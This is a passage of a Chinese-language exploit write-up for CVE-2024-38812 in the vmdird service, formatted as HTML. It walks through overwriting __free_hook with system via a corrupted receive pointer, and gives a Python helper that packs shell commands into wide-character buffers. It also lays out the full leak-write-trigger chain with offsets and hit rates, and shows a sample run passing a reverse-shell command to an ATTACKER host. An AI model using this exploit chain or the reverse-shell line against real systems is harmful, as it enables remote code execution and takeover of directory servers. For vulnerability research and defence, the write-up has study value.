leaf="">recvmsg</span></code><span leaf=""> 仍使用旧的 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">iov_base</span></code><span leaf="">。</span></strong><span leaf=""> 数据会被写到正常的 fragbuf 数据区，不是我们的目标地址。</span></p><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">解决方案：利用循环的第二次迭代</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">服务器的数据接收是一个循环：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="c"><code><span leaf="">while (data_size &lt; max_data_size) {</span></code><br/><code><span leaf="">    iov.iov_base = data_p + data_size;  // 每次迭代重新读取 data_p!</span></code><br/><code><span leaf="">    iov.iov_len  = max_data_size - data_size;</span></code><br/><code><span leaf="">    n = recvmsg(fd, &amp;msg, 0);</span></code><br/><code><span leaf="">    data_size += n;</span></code><br/><code><span leaf="">}</span></code><br/></pre></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">关键</span></strong><span leaf="">：每次循环迭代会重新从 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">data_p</span></code><span leaf=""> 计算 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">iov_base</span></code><span leaf="">。如果我们在第一次 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">recvmsg</span></code><span leaf=""> 返回后、第二次迭代前腐蚀了 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">data_p</span></code><span leaf="">，第二次迭代就会使用腐蚀后的值。</span></p><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">两步发送协议</span></span></h3><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang=""><code><span leaf="">初始状态: data_p = 正常地址, data_size = 0x10</span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf="">[腐蚀] overflow 将 data_p 改为 __free_hook - 0x18</span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf="">Step 1: 发送 8 字节 junk</span></code><br/><code><span leaf="">  → 第一次 recvmsg 返回 8 字节（写到旧 iov_base，无影响）</span></code><br/><code><span leaf="">  → data_size = 0x10 + 8 = 0x18</span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf="">Step 2: 服务器第二次循环迭代</span></code><br/><code><span leaf="">  → iov_base = corrupted_data_p + 0x18</span></code><br/><code><span leaf="">  → = (__free_hook - 0x18) + 0x18</span></code><br/><code><span leaf="">  → = __free_hook                    ← 精确命中！</span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf="">Step 3: 发送 system 地址 (8 字节)</span></code><br/><code><span leaf="">  → recvmsg 将 8 字节写入 __free_hook</span></code><br/><code><span leaf="">  → __free_hook = __libc_system      ← 写入成功！</span></code><br/></pre></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">验证：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang=""><code><span leaf="">free@GOT 之前尝试: 服务器调用 system(&#34;&#34;) — 空字符串</span></code><br/><code><span leaf="">__free_hook: __free_hook = 0x00007fdcfb1df860 = system ✓</span></code><br/></pre></p><hr style="box-sizing: initial;height: 1px;overflow: visible;margin: 10px 0px;border-width: 1px medium medium;border-style: solid none none;border-color: black currentcolor currentcolor;border-image: initial;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 1.3em;border-bottom: 2px solid rgb(239, 112, 96);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">八、RCE 触发：wchar ASCII 打包</span></span></h2><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">最后一个问题</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">__free_hook</span></code><span leaf=""> 被设为 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">system</span></code><span leaf=""> 后，任何 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">free(ptr)</span></code><span leaf=""> 调用变成 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">system(ptr)</span></code><span leaf="">。NDR cleanup 释放 wchar buffer 时：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="c"><code><span leaf="">free(wchar_buffer);  // → __free_hook → system(wchar_buffer)</span></code></pre></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">但 wchar buffer 包含 UTF-16LE 编码的字符串。每个 ASCII 字符占 2 字节，第二字节为 0x00：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang=""><code><span leaf="">&#34;touch&#34; → 74 00 6F 00 75 00 63 00 68 00</span></code></pre></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">system()</span></code><span leaf=""> 将其视为 C 字符串，遇到第一个 0x00 就终止：</span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">system(&#34;t&#34;)</span></code><span leaf=""> — 只执行了一个字母。</span></p><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">解决方案：wchar ASCII 打包</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">UTF-16LE 的存储顺序是低字节在前。如果我们把命令的 ASCII 字符</span><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">两两配对</span></strong><span leaf="">作为一个 wchar：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang=""><code><span leaf="">字符对 &#34;sh&#34; → wchar 值 0x6873 → 内存: 73 68 = &#34;sh&#34;</span></code><br/><code><span leaf="">字符对 &#34; -&#34; → wchar 值 0x2D20 → 内存: 20 2D = &#34; -&#34;</span></code><br/><code><span leaf="">字符对 &#34;c &#34; → wchar 值 0x2063 → 内存: 63 20 = &#34;c &#34;</span></code><br/></pre></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">整条命令的内存布局：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang=""><code><span leaf="">输入 wchar: 0x6873 0x2D20 0x2063 0x7427 0x756F 0x6863 ...</span></code><br/><code><span leaf="">内存字节:   73 68  20 2D  63 20  27 74  6F 75  63 68  ...</span></code><br/><code><span leaf="">ASCII:      s  h     -   c     &#39;  t   o  u   c  h   ...</span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf="">= &#34;sh -c &#39;touch /tmp/pwned_38812&#39;&#34;</span></code><br/></pre></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">纯 ASCII，没有嵌入 NUL！</span></strong><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">system()</span></code><span leaf=""> 完整执行整条命令。</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="python"><code><span leaf="">def pack_ascii_as_wchar(cmd):</span></code><br/><code><span leaf="">    if len(cmd) % 2: cmd += &#39;\x00&#39;</span></code><br/><code><span leaf="">    out = b&#39;&#39;</span></code><br/><code><span leaf="">    for i in range(0, len(cmd), 2):</span></code><br/><code><span leaf="">        lo = ord(cmd[i])</span></code><br/><code><span leaf="">        hi = ord(cmd[i+1]) if i+1 &lt; len(cmd) else 0</span></code><br/><code><span leaf="">        out += struct.pack(&#39;&lt;H&#39;, (hi &lt;&lt; 8) | lo)</span></code><br/><code><span leaf="">    return out</span></code><br/></pre></p><hr style="box-sizing: initial;height: 1px;overflow: visible;margin: 10px 0px;border-width: 1px medium medium;border-style: solid none none;border-color: black currentcolor currentcolor;border-image: initial;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 1.3em;border-bottom: 2px solid rgb(239, 112, 96);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">九、完整利用流程</span></span></h2><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang=""><code><span leaf="">[1] 环境准备</span></code><br/><code><span leaf="">    │  编译 noabort.so (patch abort → ret)</span></code><br/><code><span leaf="">    │  LD_PRELOAD=/tmp/noabort.so 启动 vmdird</span></code><br/><code><span leaf="">    │</span></code><br/><code><span leaf="">[2] Info Leak (并发 OOB Read)</span></code><br/><code><span leaf="">    │  120 并发连接 + NULL params + Barrier 同步</span></code><br/><code><span leaf="">    │  15 个 overflow (offset=0x6148) + 105 个 normal</span></code><br/><code><span leaf="">    │  → 泄露 libc 指针 → 计算 __free_hook / system</span></code><br/><code><span leaf="">    │  命中率: ~1/6 轮</span></code><br/><code><span leaf="">    │</span></code><br/><code><span leaf="">[3] Arbitrary Write (fragbuf.data_p)</span></code><br/><code><span leaf="">    │  60 partial BIND + 30 overflow (offset=0x60C8)</span></code><br/><code><span leaf="">    │  → 腐蚀 fragbuf.data_p = __free_hook - 0x18</span></code><br/><code><span leaf="">    │  两步写入: junk(8) + system(8) → __free_hook = system</span></code><br/><code><span leaf="">    │  命中率: ~60% 每轮</span></code><br/><code><span leaf="">    │</span></code><br/><code><span leaf="">[4] RCE Trigger</span></code><br/><code><span leaf="">    │  发送 packed ASCII wchar 命令</span></code><br/><code><span leaf="">    │  NDR cleanup: free(buf) → system(&#34;sh -c &#39;cmd&#39;&#34;)</span></code><br/><code><span leaf="">    │</span></code><br/><code><span leaf="">[5] 结果</span></code><br/><code><span leaf="">    └→ uid=9899 (vmdird) shell</span></code><br/><code><span leaf="">       可通过 CVE-2024-38813 提权至 root</span></code><br/></pre></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">最终效果：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang=""><code><span leaf="">$ python3 CVE-2024-38812_POC.py 127.0.0.1 2012 &#34;bash -i &gt;&amp; /dev/tcp/ATTACKER/PORT 0&gt;&amp;1&#34;</span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf="">[STAGE A] Info Leak...</span></code><br/><code><span leaf="">  R1 LEAKED → libc=0x7fdcfb19d000</span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf="">[STAGE B] __free_hook overwrite...</span></code><br/><code><span leaf="">  R2 2HIT → two-step write...</span></code><br/><code><span leaf="">  __free_hook = system [OK]</span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf="">[STAGE C] RCE Trigger...</span></code><br/><code><span leaf="">  sent (1/5)</span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf="">vmdird@localhost $ id</span></code><br/><code><span leaf="">uid=9899(vmdird) gid=3914(lwis)</span></code><br/></pre></p><hr style="box-sizing: initial;height: 1px;overflow: visible;margin: 10px 0px;border-width: 1px medium medium;border-style: solid none none;border-color: black currentcolor currentcolor;border-image: initial;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 1.3em;border-bottom: 2px solid rgb(239, 112, 96);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">十、踩过的坑和教训</span></span></h2><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">1. 不要假设文档中的偏移一定正确</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">最初的分析文档说 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">data_len</span></code><span leaf=""> 在 call_rep+0x120 控制响应大小。实际上 +0x120 控制的是&#34;是否发送&#34;和&#34;循环次数&#34;，而 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">frag_length</span></code><span leaf="">（真正控制 PDU 大小）在 +0xC0C8——但这个偏移远超溢出可达范围。最终 +0x120 仍然有效，只是机制不同。</span></p><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">2. GDB 不是万能的</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, 